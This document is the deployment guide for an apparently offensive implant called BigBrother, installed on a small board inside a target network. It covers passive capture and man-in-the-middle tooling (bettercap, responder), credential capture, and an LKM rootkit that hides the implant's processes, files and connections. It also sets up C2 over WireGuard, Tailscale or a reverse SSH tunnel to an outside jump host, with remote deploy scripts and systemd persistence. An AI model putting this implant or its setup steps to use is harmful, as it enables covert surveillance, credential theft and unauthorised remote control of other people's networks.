bigbrother/docs/deployment.md

Deployment Guide

Hardware Setup

Recommended: Orange Pi Zero 3 or Raspberry Pi 4

Connect two network interfaces:

• eth0 or wlan0 — uplink to target network (gets an IP via DHCP or static)
• eth1 or wlan1 — passive monitor interface (no IP, promiscuous mode)

Single-interface operation is possible but limits passive capture to traffic on the uplink segment only.

Interface Naming

On Debian with predictable interface names enabled, interfaces may appear as enp3s0, wlp2s0, etc. Find yours:

ip link show

Set them in config/bigbrother.yaml:

interfaces:
  uplink: eth0
  monitor: eth1

First-Time Setup

Run on the target host (as root):

git clone <repo-url> bigbrother
cd bigbrother
sudo bash operator_setup.sh

operator_setup.sh will:

• Install system packages (bettercap, tshark, responder, tcpdump, wireguard-tools)
• Set capabilities on required binaries
• Build the LKM stealth module (requires kernel headers)
• Initialize the SQLite database
• Configure Python venv

Remote Deploy

From your operator machine:

bash scripts/deploy.sh root@<target-host> [--enable-service] [--no-tools] [--reinstall]

Options:

• --enable-service — Start and enable bigbrother-core as a systemd service after deploy
• --no-tools — Skip downloading third-party tools (bettercap, responder) from GitHub
• --reinstall — Force reinstall even if already deployed

C2 Connectivity

WireGuard (Recommended)

1. Generate keypair on implant:

   wg genkey | tee private.key | wg pubkey > public.key
   

2. Add peer to your WireGuard server config, then set implant config:

   # config/bigbrother.yaml
   c2:
     mode: wireguard
     server_endpoint: <your-c2-server>:51820
     server_pubkey: <server-public-key>
     allowed_ips: 10.100.0.0/24
   

Tailscale

sudo tailscale up --authkey=<tskey-auth-...>

Set c2.mode: tailscale in config.

Reverse SSH Tunnel

c2:
  mode: reverse_ssh
  remote_host: <your-jump-host>
  remote_user: <user>
  remote_port: 2222
  local_port: 22

Net Alerter (Device Presence)

Deploy the device presence daemon separately:

cd net_alerter/
./deploy-daemon.sh root@<target-host>

Configure Matrix alerts on the target:

cat > /opt/net_alerter/.env <<EOF
MATRIX_HOMESERVER=https://your-homeserver.example.com
MATRIX_ACCESS_TOKEN=syt_...
MATRIX_ROOM_ID=!your-room-id:your-homeserver.example.com
EOF
chmod 600 /opt/net_alerter/.env
systemctl restart net_alerter

Stealth Layer

The LKM rootkit hides BigBrother processes, files, and network connections. Build requires:

• Kernel headers matching the running kernel
• make, gcc

sudo apt install linux-headers-$(uname -r) build-essential

operator_setup.sh handles this automatically.

Credential Encryption

Captured credentials are encrypted with AES-256 before storage. Set up:

1. Generate a 32-byte key and store in your secrets manager as CREDENTIAL_ENCRYPTION_KEY (hex-encoded).
2. Set BB_CREDS_BIN to your creds CLI path:

   export BB_CREDS_BIN=/usr/local/bin/creds
   

Without this, credentials are stored plaintext with a log warning.

Running

sudo python3 bigbrother_core.py

Or as a service (if --enable-service was passed during deploy):

systemctl status bigbrother-core
journalctl -u bigbrother-core -f

Troubleshooting

No DHCP traffic captured

• Confirm monitor interface is in promiscuous mode: ip link set eth1 promisc on
• Check that BigBrother has CAP_NET_RAW: getcap $(which python3)

Bettercap not starting

• Verify bettercap is installed: which bettercap
• Check bettercap capabilities: getcap /usr/local/bin/bettercap
• Run manually to see errors: sudo bettercap -iface eth0

LKM fails to load

• Check kernel headers are present: ls /lib/modules/$(uname -r)/build
• Check dmesg for errors: dmesg | tail -20

Matrix alerts not sending

• Confirm .env is readable: cat /opt/net_alerter/.env
• Test connectivity: curl -s https://your-homeserver.example.com/_matrix/client/versions
• Check token is valid: look for 401 errors in journalctl -u net_alerter